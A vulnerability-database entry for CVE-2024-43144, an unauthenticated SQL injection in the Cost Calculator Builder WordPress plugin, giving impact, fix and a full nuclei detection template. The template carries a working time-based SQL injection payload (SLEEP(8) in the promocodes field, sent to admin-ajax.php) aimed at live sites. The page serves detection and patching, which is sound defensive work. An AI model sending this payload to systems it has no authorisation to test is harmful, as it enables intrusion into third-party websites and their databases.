HexBrain

Browse / CVEs / CVE-2024-43144

CVE-2024-43144· CWE-89

Cost Calculator Builder <= 3.2.15 - SQL Injection

criticalseverity
9.8CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it

The Cost Calculator Builder plugin for WordPress is vulnerable to SQL Injection via discount codes in versions up to, and including, 3.2.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Impact

Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.

Fix

Update to version 3.2.16 or later.

How to confirm it

Send: GET /
Send: @timeout: 30s
Positive when: contains_any(body, "order_id", "success") and status_code == 200 and duration>=8

Run it with nuclei: nuclei -id CVE-2024-43144 -u <target>

The full check
id: CVE-2024-43144

info:
  name: Cost Calculator Builder <= 3.2.15 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The Cost Calculator Builder plugin for WordPress is vulnerable to SQL Injection via discount codes in versions up to, and including, 3.2.15 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
  remediation: Update to version 3.2.16 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/cost-calculator-builder/cost-calculator-builder-3215-unauthenticated-sql-injection
    - https://patchstack.com/database/wordpress/plugin/cost-calculator-builder/vulnerability/wordpress-cost-calculator-builder-plugin-3-2-15-sql-injection-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2024-43144
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-43144
    epss-score: 0.01985
    epss-percentile: 0.80763
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/plugins/cost-calculator-builder/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,cost-calculator-builder

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '"ccb_add_order"\s*:\s*"([a-f0-9]+)"'
        internal: true

  - raw:
      - |
        @timeout: 30s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=create_cc_order&nonce={{nonce}}&data=%7B%22id%22%3A%221%22%2C%22promocodes%22%3A%5B%22%27%29%20OR%201%3D%28SELECT%20SLEEP%288%29%29--%20-%22%5D%7D

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "order_id", "success")'
          - 'status_code == 200'
          - 'duration>=8'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from